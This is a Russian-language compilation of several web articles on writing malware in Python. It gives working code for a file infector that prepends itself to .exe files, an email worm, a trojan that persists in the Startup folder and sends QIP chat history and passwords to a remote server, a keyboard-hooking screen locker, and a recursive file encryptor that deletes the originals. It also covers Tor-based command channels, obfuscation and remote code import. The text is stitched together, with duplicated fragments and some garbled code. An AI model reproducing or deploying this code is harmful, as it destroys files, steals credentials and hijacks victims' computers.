Python вирус что это за программа

Содержание

Вирус на Python: Изучаем возможности полноценного злокодинга на интерпретируемом языке

Новый год — самое время для легких извращений. Хотя для тебя, читающего эту статью практически весной, год уже не новый, да и сама идея изучения вируса, написанного на питоне, может показаться вовсе даже не легким извращением…

Как известно, с помощью питона можно решать множество повседневных, рутинных задач: периодическое резервное копирование файлов, отправка писем по электронной почте, поиск и выполнение различных действий с файлами на жестком диске и прочее. Так как Python является языком программирования высокого уровня, то и вирусы на нем можно писать соответствующие. Зловреды, созданные с помощью ЯВУ, обычно классифицируются как HLLx (High Level Language, x — метод размножения).

Существуют три основных подвида HLLx-вирусов: оверврайтеры (Overwrite) — HLLO, компаньоны (Companion) — HLLC и паразиты (Parasitic) — HLLP.

Первые являются достаточно примитивными программами, которые просто перезаписывают код жертвы своим кодом, вследствие чего оригинальная программа перестает существовать. Такие вирусы очень просты и весьма разрушительны. В результате эпидемии такой заразы пользовательский компьютер практически полностью лишается всего установленного ПО. Ничем иным кроме вандализма это назвать нельзя.

РАБОЧИЙ ВИРУС НА PYTHON! ЭТО ВОЗМОЖНО?

Вирусы-компаньоны более гуманны к исполняемым файлам, которые они «заражают». Слово «заражают» я специально взял в кавычки, так как на самом деле HLLC-зловреды просто присваивают себе имя жертвы, а оригинальный экзешник переименовывают (а могут и зашифровать — прим. ред.) во что-нибудь другое.

Таким образом, они подменяют пользовательский софт своими копиями, а для большей маскировки запускают оригинальную программу из файла с новым именем. И пользователь доволен, и вирус остался жив. HLLP являются самыми продвинутыми из ЯВУ-вирусов. Они внедряются непосредственно в файл-жертву, сохраняя при этом работоспособность оригинального кода.

Из-за особенностей высокоуровневых языков программирования полноценного инжекта, как у «взрослых» вирусов на ассемблере, добиться очень сложно. Поэтому паразиты получаются не слишком элегантными созданиями, но, к сожалению, это практически потолок того, что можно выжать из ЯВУ.

В связи с тем, что как HLLO-, так и HLLC-вирусы слишком примитивны и практически не встречаются в дикой природе, мы займемся разработкой здовреда-паразита. Основной метод, используемый ими для заражения — внедрение в один файл с кодом-жертвой.
Таким образом сохраняется код оригинальной программы, и при этом не появляется никаких лишних следов.

Существует много вариаций на тему HLLP-зловредов, но мы реализуем самую простую из них. Вирус будет писать в начало файлажертвы свое собственное тело — целиком, со всеми заголовками и служебными структурами. Код «хорошей» программы при этом будет смещен на длину вируса. То есть, сначала будет выполняться вирус, который в конце своего черного дела запустит оригинальную программу, чтобы лишний раз не вызывать подозрения у пользователя. По традиции взглянем на код:

Псевдо-вирус на python

Код HLLP-вируса

import sys
import os
import shutil
virPath = os.path.split(sys.argv[0]);
names = os.listdir(‘.’);
fvir = open(sys.argv[0], ‘rb’);
virData = fvir.read(19456);
for name in names:

namePair = os.path.splitext(name);
if namePair[1] == ‘.exe’ and
name != virPath[1]:

os.rename(name, name + ‘tmp’);
fprog = open(name + ‘tmp’, ‘rb’);
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData + progData);
fnew.close();
fprog.close();
os.remove(name + ‘tmp’);
origProgData = fvir.read();
origProg = ‘original_’ + virPath[1];
forig = open(origProg, ‘wb’);
forig.write(origProgData);
fvir.close();
forig.close();
os.execl(origProg, ‘ ‘);

Первым делом мы подключаем три модуля: sys, os, shutil. Модуль sys дает доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Так, например, мы получаем имя выполняемого скрипта с помощью команды sys.argv[0]. Модуль os дает возможность выполнения команд, зависящих от операционной системы.

Например, получить список файлов в директории, произвести над ними некоторые операции и так далее. Наконец, модуль shutil дает возможность копировать и перемещать файл на жестком диске.

После импорта нужных нам модулей мы узнаем имя файла, в котором содержится исходный код вируса. Затем с помощью команды os.listdir(‘.’) получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке экзешником.
Если проверка это подтверждает, то инфицируем найденный файл, просто заменив его собой. Если ты читал внимательно, то заметил, что в условии оператора if присутствует еще вот такая инструкция:

а перед этим выполняется команда

Для чего это нужно, я расскажу в конце статьи, а пока двинемся дальше. Перед оператором if мы считываем в память собственное содержимое. Делается это с помощью команды fvir. read(19456). Число 19456 — это длина вируса (мы ведь должны учесть, что в файле находится не только вирус, но и жертва). Почему эта длина именно такая, я скажу чуть позже.

Следующим шагом находим в текущей папке все exe’шники и заражаем их. Для этого, заранее переименовав невинную программку, мы читаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Далее сохраняем все это хозяйство и удаляем оригинальный файл жертвы с помощью команды os.remove(name+’tmp’).

Теперь наступает самый ответственный момент — нам надо запустить оригинальный код, который мы предварительно засунули внутрь зловреда. Для этого просто читаем оставшиеся данные из образа вируса (мы ведь помним, что уже читали 19456 байт и указатель сместился в файле на эту позицию?), а затем сохраняем полученные данные во временный exe, который потом запускаем. Таким образом вирус корректно отработал, и при этом запустил нужную для пребывающего в счастливом неведении пользователя программу.

Конечно, наш зловред получился вовсе не без недостатков. Например, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не совсем удачное решение. Кроме того, у нашего питомца будут возникать проблемы при первом запуске, когда в образе находится только тело виря, а тело жертвы отсутствует. Но все эти проблемы при определенном старании вполне решаемы.

Главное для нас — продемонстрировать принцип работы.

Сетевой червь

Мы сделали классического инфектора, который распространяется путем заражения близлежащих программ. Но ведь есть еще и сетевые черви, которые используют интернет для порабощения мира. Зловреды такого типа не интересуются файловой системой компьютера, им нужен доступ в сеть.

Для распространения черви пользуются дырами в операционной системе и прикладных программах, рассылают себя по электронной почте и так далее. Мы попробуем сделать вирус, который будет использовать именно e-mail’ы.

Для начала давай посмотрим, как с помощью Python отправить письмо. Небольшой примерчик, от которого мы будем отталкиваться в дальнейшем:

Отправка письма

import smtplib
from email.mime.text import MIMEText
msg = MIMEText(‘Message text’)
# me == email отправителя
# you == email получателя
msg[‘Subject’] = ‘Test message’
msg[‘From’] = me
msg[‘To’] = you
s = smtplib.SMTP(»)
s.sendmail(me, [you], msg.as_string())
s.quit()

Здесь мы используем библиотеку smtplib и входящий в нее пакет MIMEText. Код настолько прост, что не требует особых разъяснений. Единственное, на что стоит обратить внимание, так это на авторизацию на SMTP-сервере. Если для отправки сообщения требуется ввести логин и пароль, то придется вызвать еще одну дополнительную функцию.

Так как наш вирус является файлом, нам надо приаттачить его к письму. Для этого придется импортировать еще пару дополнительных библиотек и написать немного кода.
Будет это выглядеть примерно так:

Отправка письма с вложением

import smtplib
import mimetypes
from email import encoders
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
outer = MIMEMultipart()
# me == email отправителя
# you == email получателя
outer[‘Subject’] = ‘Test message’
outer[‘From’] = me
outer[‘To’] = you
ctype, encoding = mimetypes.guess_type(path_to_file)
if ctype is None or encoding is not None:
ctype = ‘application/octet-stream’
maintype, subtype = ctype.split(‘/’, 1)
fp = open(path_to_file, ‘rb’)
msg = MIMEBase(maintype, subtype)
msg.set_payload(fp.read())
fp.close()
encoders.encode_base64(msg)
msg.add_header(‘Content-Disposition’,
‘attachment’, filename=file_name)
outer.attach(msg)
s = smtplib.SMTP(»)
s.sendmail(me, [you], outer.as_string())
s.quit()

В импорте у нас появилась библиотека mimetypes, а также модули encoders, MIMEMultipart и MIMEBase. MIMEMultipart позволяет формировать емайл-сообщение из различных видов данных (текст, картинки и прочее). MIMEBase работает с файлами произвольного типа — например, exe. В качестве основы сообщения мы берем переменную типа MIMEMultipart и добавляем к ней объект MIMEBase, в который предварительно считали и декодировали в base64 содержимое нужного нам файла.

Теперь, когда вирус может сам себя отправлять в электронном сообщении, дело осталось за малым — найти, кому отправить e-mail. Тут полет фантазии вирмейкера на питоне ничем не ограничен. Можно, например, поискать адреса на жестком диске, просканировав все имеющиеся на нем файлы. А можно воспользоваться адресной книгой Outlook. Для последнего тебе понадобится пакет Python Win32 Extensions.

Несколько замечаний

Самые сообразительные могут задать один маленький вопрос: «Питон — это скрипты, а exe — бинари. Как скриптом можно заразить исполняемый файл Windows?». Ответ на него очень прост — питоновские скрипты можно конвертировать в exeфайлы. Да-да, и делается это очень легко. Тут я описывать процесс не буду (ты ведь не хочешь, чтобы младшая сестренка, взяв в руки ][, получила бы исчерпывающее руководство по уничтожению твоего же компа :)), так что за подробностями — к Гуглу.

В связи с тем, что наши вирусы будут выполняться не как скрипты, а как полноценные win-приложения, в коде встретилась пара непонятных вещей, о которых я обещал рассказать позже. Первая из них — это вызов os.path.split(). Дело в том, что если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). В случае же с exeфайлом результат будет другой — полный путь и имя экзешника (C:Windowsvirus.exe). А так как для дальнейших злодеяний нам нужно только имя файла, то мы вызываем os.path.split().

Еще одна загадка — это число 19456. Но тут уже легко можно догадаться, что это размер exe, полученного после конвертации скрипта. Ровно столько у меня весил зловред после своего перерождения в бинарный формат.

Заключение

Конечно, написание зловредов на Python — то еще извращение, но при большом желании такие поделки можно отшлифовать до нужной степени работоспособности, поставить на полку и всем показывать. К тому же вирус будет кроссплатформенным, а этим не каждый крутой вирмейкер может похвастаться :).

Источник: xakep.ru

Мелкая питонячая радость #12: вирусы и зловредное ПО на Python

В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.

Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?

Если отбросить часть иронии…

… и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.

Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.

Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.

Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.

Упаковка в бинарники

Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.

https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор, ваш код + все необходимые зависимости.
https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в С и потом компилирует его.

Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.

Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.

А шо вирусу делать?

Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.

Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.

Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.

Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.

from torpy import TorClient hostname = ‘ifconfig.me’ # It’s possible use onion hostname here as well tor = TorClient() # Choose random guard node and create 3-hops circuit with tor.create_circuit(3) as circuit: # Create tor stream to host with circuit.create_stream((hostname, 80)) as stream: # Now we can communicate with host stream.send(b’GET / HTTP/1.0rnHost: %srnrn’ % hostname.encode()) recv = stream.recv(1024)

Работа с tor c этой либой проста, не сложнее requests.

А шо бы своровать?

Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?

На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.

# pyscreenshot/examples/grabfullscreen.py «Grab the whole screen» import pyscreenshot as ImageGrab # grab fullscreen im = ImageGrab.grab() # save image file im.save(«fullscreen.png»)

Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.

Серверная токсичность

Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.

Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.

Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.

Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.

Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше! Но самый простой в реализации способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.

>>> with httpimport.remote_repo([‘package1′,’package2′,’package3’], ‘http://my-codes.example.com/python_packages’): . import package1 .
>>> with httpimport.github_repo(‘operatorequals’, ‘covertutils’, branch = ‘master’): . import covertutils . # Also works with ‘bitbucket_repo’ and ‘gitlab_repo’

Вот и все

Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.

Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.

На сегодня все, прошлые питонячие радости смотрите по ссылке.

Источник: habr.com

Пишем вирусы и зловредное ПО на Python

Если отбросить часть иронии…

Упаковка в бинарники

https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор, ваш код + все необходимые зависимости.
https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в С и потом компилирует его.

Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.

А шо вирусу делать?

Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.

А шо бы своровать?

# pyscreenshot/examples/grabfullscreen.py «Grab the whole screen» import pyscreenshot as ImageGrab # grab fullscreen im = ImageGrab.grab() # save image file im.save(«fullscreen.png»)

Серверная токсичность

Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.

Трояны

Теория

Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя.

Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.

Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.

Вот и все

Источник: uproger.com

Троян на Python. Основы зловредного кодинга на Python’e под Windows 7

Да Винчи сказал: «Существует три разновидности людей: те, кто видят; те, кто видят, когда им показывают; и те, кто не видят». Применительно к нашему времени я бы еще добавил группу: «Те, кто видят все, когда им нужно». Чтобы в нее вступить, нужно уметь получать любую информацию — это умение мы и будем сегодня развивать с помощью Python.

Выбор языка для троян-кодинга — тема для вечных холиваров. Хардкорщики кричат, что лишь на Asm’е пишется что-то нормальное. Группа полу-хардкорщиков молится на Си. Поклонники практически покойного Delphi тоже не отстают.

По большому счету, каждый из них прав, ведь всегда найдется задача, для которой конкретный язык подойдет идеально. В трояностроительном цеху Python’у также нашлось место, но пока оно ограничено лишь мобильными девайсами. Оно и понятно, ведь для запуска скрипта нужен интерпретатор, который у жертв на «большом компьютере» обычно не бывает установлен.

Кстати, не проблема — эту трудность мы с тобой сможем превозмочь. Кроме этого, нужно понимать, что Python’новский троян целесообразно использовать лишь для точечных атак. К примеру, для решения задачи типа «1 девчонка типа «блондинка» + одна аська типа qip» :).
Pyinstaller

На сайте http://pyinstaller.org хостится важнейшая для нас на сегодня тулза. Она представляет собой набор скриптов, которые позволяют из обычного py-скрипта сделать exe-шник. Скачивай ее с сайта или с диска и давай потестим. Допустим, ты распаковал ее на диск D:.
Конфигурируем:

Теперь для теста в папке D:test создай питоновский скрипт test.py:

print «OK»
open(«ok.txt», «w»).write(‘ok’)

Создание exe-шника проходит в два этапа. Сначала скриптом Makespec. py записывается файл «spec» с параметрами «компиляции», а затем — скрипт Build.py создает непосредственно экзешник. Скрипт Makespec.py, кроме пути к py-файлу принимает много разных параметров, но нам важны лишь эти:

• «F», на выходе получим один лишь exe-шник;
• «w», не показывать консоль, без этого параметра по умолчанию программа запускается с консольным окном;
• «X», использовать UPX для сжатия exe;
• «—icon=file.ico», использовать указанную иконку.

Во время разработки желательно использовать только один параметр («F») с целью создания отладочного режима, — чтобы в результате получился один файл и окно, в котором мы бы видели свои ошибки. Проверяем и компилируем:

D:pyinstaller> Makespec.py -F -w -X d:testtest.py
D:pyinstaller> Build.py d:pyinstallertesttest.spec

Несколько секунд ожидания… готово! Результат работы покоится в папке d:pyinstallertestdist. Наш test.exe получился размером в 2.4 Мб, и, если его запустить, то может показаться, что ничего не сработало — окна нет. Однако ok.txt создается, а значит, все отлично работает.
Картинка to string

Для начала обеспечим нашей программе некий минимум правдоподобности. Обеспечить ее для блондинки довольно просто — покажем ей красивую картинку, тут-то она и растает :). Поскольку все хозяйство у нас должно покоиться в одном py-файле, то картинку нужно будет сжать, а потом закинуть в base64 (превратив в строку). Теперь — немножко питоновской магии с объектом gzip.GzipFile, которому при создании мы указываем, куда сохранять уже сжатые данные, и получаем код, который читает файл my.jpg, сжимает, кодирует функцией base64.encodestring в строку base64 и полученную строку-изображение сохраняет в rez_img.txt:

import StringIO, gzip, base64
zbuf = StringIO.StringIO()
zfile = gzip.GzipFile(mode=’wb’, fileobj=zbuf)
zfile.write(open(‘my.jpg’,’rb’).read())
zfile.close()
open(‘rez_img.txt’, ‘w’).write(
base64.encodestring(zbuf.getvalue())
)

Теперь, имея в своем распоряжении строку-картинку, мы можем приступить собственно к кодингу. В начале файла troj. py в переменную img мы поместим нашу картинку с rez_img. txt. Логика этого кода будет выглядеть примерно так (подробности — в сорце на диске):

img = »’
H4sIAMW28E.
»’
import sys
#если мы запущены первый раз
if (sys.argv[0].find(‘Startup’)==-1):
#создать картинку из img и показать ее
#узнать папку с автозагрузкой
#скопировать себя в автозагрузку
#создать архив qip и отослать на сервер
else:
#достать команду на сервере и исполнить ее
string to картинка to блондинко

Распаковка файла практически аналогична запаковке. Код этого нелегкого процесса ты всегда можешь посмотреть в исходнике на диске, а я лишь уточню, что название файла-картинки мы берем из исполнимого файла для уменьшения палевности:

file_src = sys.argv[0]
img_name= file_src.split(‘\’)[-1].
split(‘.’)[0]
img_name += ‘.jpg’

Вместо вышеприведенного кода можно было бы использовать стандартную функцию для отделения имени от пути, но мне проще сделать так, поскольку я извращенец :). Итак, картинка создана, остается лишь «исполнить» ее с использованием библиотеки subprocess: import subprocess subprocess.Popen(img_name, shell=True) Благодаря заблаговременно указанному «shell=True», картинка откроется так, как если бы пользователь сделал на ней обычный даблклик.
Автозапуск

Самый простой способ автозапуска нашей проги — скопировать в папку автозагрузки:

import shutil
shutil.copy(sys.argv[0], r’C:ProgramData
MicrosoftWindowsStart MenuPrograms
Startupdriver_video.exe’)

Как видишь, наш учебный троян заточен под английскую версию Windows 7, поэтому для работы с другими версиями константы путей нужно будет либо поменять, либо динамически вытаскивать их из стандартных переменных винды:

Полный список переменных можно узнать, написав в консоли команду «set», и эту же команду вместе с subprocess.Popen нужно заюзать, чтобы получить эти переменные из скрипта.
Копируем все!

Теперь, когда мы отвлекли внимание юзера ушастого и закрепились в автозагрузке, можно начать исполнение нашей основной задачи, отправив на сервер архив папки с историей и паролями qip’a — C:Program FilesQIPUsers.

Создадим в папке Temp архив, заюзав библиотеку zipfile. Для этого создадим объект zipfile.ZipFile и рекурсивно пройдемся по папке qip, добавляя в архив все файлы:

import zipfile
def addToZip(zf, path, zippath):
if os.path.isfile(path):
zf.write(path, zippath, zipfile.ZIP_DEFLATED)
elif os.path.isdir(path):
for nm in os.listdir(path):
addToZip(zf,
os.path.join(path, nm),
os.path.join(zippath, nm)
)
zip_file = r’C:WindowsTempsystem_files.zip’
zf = zipfile.ZipFile(zip_file, ‘w’, allowZip64=True)
src = r’C:Program FilesQIPUsers\’
addToZip(zf, src, os.path.basename(src))
zf.close()

Отослать полученный файл можно, например, через ftp, или послать post-запросом. Второй вариант мы и реализуем, воспользовавшись библиотекой urllib2:

from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2
register_openers()
d,h = multipart_encode()
request = urllib2.Request(«http://s/f.php», d, h)
urllib2.urlopen(request)

Вот и все! Наш учебный троян готов. Разумеется, ни в коем случае мы не советуем тебе использовать его в противозаконных целях, но на своем домашнем компьютере ты вполне можешь его потестить — он с удовольствием покажет тебе интересную картинку, заархивирует папку с qip’ом и отправит ее на сохранение твоему лучшему другу. Отличное решение, ведь если твой компьютер поразит злой вирус — ты всегда сможешь восстановиться из хранящегося у друга бэкапа!

Источник: www.dzerghinsk.org

Как написать шифровальщик на Python

Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.

Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.

Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.

Как написать локер, шифровальщик и вирус на Python

Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давайте сразу договоримся: запускать все, что мы здесь описываем, вы будете только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Настройка среды

Итак, первым делом нам, конечно, понадобится сам Python, причем третьей версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю вас скачивать бесплатную книгу «Укус питона» (PDF). В ней вы найдете ответ на этот и многие другие вопросы, связанные с Python.

Дополнительно установим несколько модулей, которые будем использовать:

pip install pyAesCrypt pip install pyautogui pip install tkinter

На этом с подготовительным этапом покончено, можно приступать к написанию кода.

Создание локера

Идея — создаем окно на полный экран и не даем пользователю закрыть его.

import pyautogui from tkinter import Tk, Entry, Label from pyautogu соi import click, moveTo from time import sleep

Теперь возьмемся за основную часть программы.

# Создаем окно root = Tk() # Вырубаем защиту левого верхнего угла экрана pyautogui.FAILSAFE = False # Получаем ширину и высоту окна width = root.winfo_screenwidth() height = root.winfo_screenheight() # Задаем заголовок окна root.title(‘From «hacker» with love’) # Открываем окно на весь экран root.attributes(«-fullscreen», True) # Создаем поле для ввода, задаем его размеры и расположение entry = Entry(root, font=1) entry.place(width=150, height=50, x=width/2-75, y=height/2-25) # Создаем текстовые подписи и задаем их расположение label0 = Label(root, text=»╚(•⌂•)╝ Locker by hacker (╯°□°）╯︵ ┻━┻», font=1) label0.grid(row=0, column=0) label1 = Label(root, text=»Пиши пароль и жми Ctrl + C», font=’Arial 20′) label1.place(x=width/2-75-130, y=height/2-25-100) # Включаем постоянное обновление окна и делаем паузу root.update() sleep(0.2) # Кликаем в центр окна click(width/2, height/2) # обнуляем ключ k = False # Теперь непрерывно проверяем, не введен ли верный ключ # Если введен, вызываем функцию хулиганства while not k: on_closing()

Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.

Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.

Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давайте настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:

import pythoncom, pyHook hm = pyHook.HookManager() hm.MouseAll = uMad hm.KeyAll = uMad hm.HookMouse() hm.HookKeyboard() pythoncom.PumpMessages()

Создадим функцию для ввода ключа:

def callback(event): global k, entry if entry.get() == «hacker»: k = True

Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.

Последняя функция, которая нужна для работы окна-вредителя:

def on_closing(): # Кликаем в центр экрана click(width/2, height/2) # Перемещаем курсор мыши в центр экрана moveTo(width/2, height/2) # Включаем полноэкранный режим root.attributes(«-fullscreen», True) # При попытке закрыть окно с помощью диспетчера задач вызываем on_closing root.protocol(«WM_DELETE_WINDOW», on_closing) # Включаем постоянное обновление окна root.update() # Добавляем сочетание клавиш, которые будут закрывать программу root.bind(», callback)

На этом наш импровизированный локер готов.

Создание шифровальщика

Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.

Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:

direct = input(«Напиши атакуемую директорию: «) password = input(«Введи пароль: «)

Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:

with open(«Crypt.py», «w») as crypt: crypt.write(»’ текст программы »’)

Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:

import os import sys

Пишем функцию шифрования (все по мануалу pyAesCrypt):

def crypt(file): import pyAesCrypt print(‘-‘ * 80) # Задаем пароль и размер буфера password = «»’+str(password)+»'» buffer_size = 512*1024 # Вызываем функцию шифрования pyAesCrypt.encryptFile(str(file), str(file) + «.crp», password, buffer_size) print(«[Encrypt] ‘»+str(file)+».crp'») # Удаляем исходный файл os.remove(file)

Вместо str(password) скрипт-генератор вставит пароль.

Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.

Теперь функция, которая обходит папки. Тут тоже ничего сложного.

def walk(dir): # Перебор всех подпапок в указанной папке for name in os.listdir(dir): path = os.path.join(dir, name) # Если это файл, шифруем его if os.path.isfile(path): crypt(path) # Если это папка, рекурсивно повторяем else: walk(path)

В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.

walk(«»’+str(direct)+»'») os.remove(str(sys.argv[0]))

Здесь снова будет подставляться нужный путь.

Вот весь исходник целиком.

